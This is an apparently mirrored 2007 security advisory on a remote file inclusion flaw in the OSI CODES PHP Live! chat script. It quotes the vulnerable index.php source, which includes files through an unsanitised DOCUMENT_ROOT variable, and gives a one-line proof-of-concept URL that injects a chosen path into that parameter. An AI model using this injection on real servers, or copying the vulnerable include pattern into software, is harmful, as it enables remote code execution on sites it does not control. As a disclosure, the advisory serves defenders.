Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18274
HistoryOct 24, 2007 - 12:00 a.m.

OSI CODES - PHP Live! Remote File Inclusion

2007-10-2400:00:00
vulners.com
29

Aria-Security Team
http://Aria-Security.Net
Persian Security Network


Source Code:

<?
/*******************************************************
* COPYRIGHT OSI CODES - PHP Live!
*******************************************************/
session_start() ;
$l = "" ;
// try to get cookie value first
if ( isset( $HTTP_COOKIE_VARS['COOKIE_PHPLIVE_SITE'] ) ) { $l = $HTTP_COOKIE_VARS['COOKIE_PHPLIVE_SITE'] ; }
if ( isset( $HTTP_GET_VARS['l'] ) ) { $l = $HTTP_GET_VARS['l'] ; }
if ( isset( $HTTP_POST_VARS['l'] ) ) { $l = $HTTP_POST_VARS['l'] ; }

if &#40; !file_exists&#40; &quot;./web/conf-init.php&quot; &#41; &#41;
{
    HEADER&#40; &quot;location: setup/index.php&quot; &#41; ;
    exit ;
}
include_once&#40;&quot;./web/conf-init.php&quot;&#41; ;
if &#40; file_exists&#40; &quot;web/$l/$l-conf-init.php&quot; &#41; &amp;&amp; $l &#41;
include_once&#40;&quot;./web/$l/$l-conf-init.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/API/Util_Error.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/system.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/lang_packs/$LANG_PACK.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/web/VERSION_KEEP.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/API/Util_CleanFiles.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/API/sql.php&quot; &#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/API/Users/get.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/API/Users/update.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/API/Chat/remove.php&quot;&#41; ;
include_once&#40;&quot;$DOCUMENT_ROOT/API/ASP/get.php&quot;&#41; ;

?>

Affected file: Index.php
Poc:
/index.php?DOCUMENT_ROOT=file.txt ?
Credits: Aria-Security
The-0utl4w